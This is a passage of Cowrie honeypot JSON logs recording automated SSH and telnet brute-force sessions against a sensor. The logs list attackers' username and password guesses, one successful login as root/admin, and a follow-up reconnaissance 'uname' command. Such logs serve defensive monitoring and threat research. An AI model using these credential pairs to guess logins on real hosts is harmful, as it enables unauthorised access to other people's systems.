hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:14.297759Z","src_ip":"192.109.200.237","session":"bd5cb769e503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:14.555156Z","src_ip":"192.109.200.237","session":"bd5cb769e503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:15.646454Z","src_ip":"192.109.200.237","session":"bd5cb769e503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.87152338027954,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:16.812521Z","src_ip":"152.42.224.71","session":"0a3b3fd4a1ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00244975090027,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:16.911539Z","src_ip":"152.42.224.71","session":"8024908cd921","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46828,"dst_ip":"159.203.135.109","dst_port":22,"session":"c036bdfed9b9","protocol":"ssh","message":"New connection: 192.109.200.237:46828 (159.203.135.109:22) [session: c036bdfed9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.446502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.451391Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.534921Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.783309Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.995627Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:17.999395Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:18.085493Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:18.090602Z","src_ip":"192.109.200.237","session":"c036bdfed9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56998,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe6e49f06a31","protocol":"ssh","message":"New connection: 192.109.200.237:56998 (159.203.135.109:22) [session: fe6e49f06a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:20.736732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:20.741227Z","src_ip":"192.109.200.237","session":"fe6e49f06a31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:20.824198Z","src_ip":"192.109.200.237","session":"fe6e49f06a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:21.201912Z","src_ip":"192.109.200.237","session":"fe6e49f06a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:22.287035Z","src_ip":"192.109.200.237","session":"fe6e49f06a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57014,"dst_ip":"159.203.135.109","dst_port":22,"session":"3da395ab09db","protocol":"ssh","message":"New connection: 192.109.200.237:57014 (159.203.135.109:22) [session: 3da395ab09db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:24.203157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:24.210491Z","src_ip":"192.109.200.237","session":"3da395ab09db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:24.292273Z","src_ip":"192.109.200.237","session":"3da395ab09db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:24.537878Z","src_ip":"192.109.200.237","session":"3da395ab09db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:25.752426Z","src_ip":"192.109.200.237","session":"3da395ab09db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57024,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e700e629edb","protocol":"ssh","message":"New connection: 192.109.200.237:57024 (159.203.135.109:22) [session: 1e700e629edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:27.592357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:27.597092Z","src_ip":"192.109.200.237","session":"1e700e629edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:27.679343Z","src_ip":"192.109.200.237","session":"1e700e629edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:27.927504Z","src_ip":"192.109.200.237","session":"1e700e629edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:29.012538Z","src_ip":"192.109.200.237","session":"1e700e629edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36200,"dst_ip":"159.203.135.109","dst_port":22,"session":"c879b4b64351","protocol":"ssh","message":"New connection: 192.109.200.237:36200 (159.203.135.109:22) [session: c879b4b64351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:30.860515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:30.866439Z","src_ip":"192.109.200.237","session":"c879b4b64351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:30.950562Z","src_ip":"192.109.200.237","session":"c879b4b64351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:31.407334Z","src_ip":"192.109.200.237","session":"c879b4b64351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:32.492992Z","src_ip":"192.109.200.237","session":"c879b4b64351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.205859422683716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:34.074537Z","src_ip":"152.42.224.71","session":"b8484e6ebe0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36202,"dst_ip":"159.203.135.109","dst_port":22,"session":"904b037c205c","protocol":"ssh","message":"New connection: 192.109.200.237:36202 (159.203.135.109:22) [session: 904b037c205c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:34.264625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:34.269175Z","src_ip":"192.109.200.237","session":"904b037c205c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:34.350791Z","src_ip":"192.109.200.237","session":"904b037c205c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:34.596400Z","src_ip":"192.109.200.237","session":"904b037c205c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:35.876914Z","src_ip":"192.109.200.237","session":"904b037c205c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36218,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4668cfcfea","protocol":"ssh","message":"New connection: 192.109.200.237:36218 (159.203.135.109:22) [session: ea4668cfcfea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:37.567588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:37.571931Z","src_ip":"192.109.200.237","session":"ea4668cfcfea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:37.653845Z","src_ip":"192.109.200.237","session":"ea4668cfcfea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:37.901991Z","src_ip":"192.109.200.237","session":"ea4668cfcfea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:38.987988Z","src_ip":"192.109.200.237","session":"ea4668cfcfea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49062,"dst_ip":"159.203.135.109","dst_port":22,"session":"e564c9a66c4c","protocol":"ssh","message":"New connection: 192.109.200.237:49062 (159.203.135.109:22) [session: e564c9a66c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:40.863380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:11:40.868766Z","src_ip":"192.109.200.237","session":"e564c9a66c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ss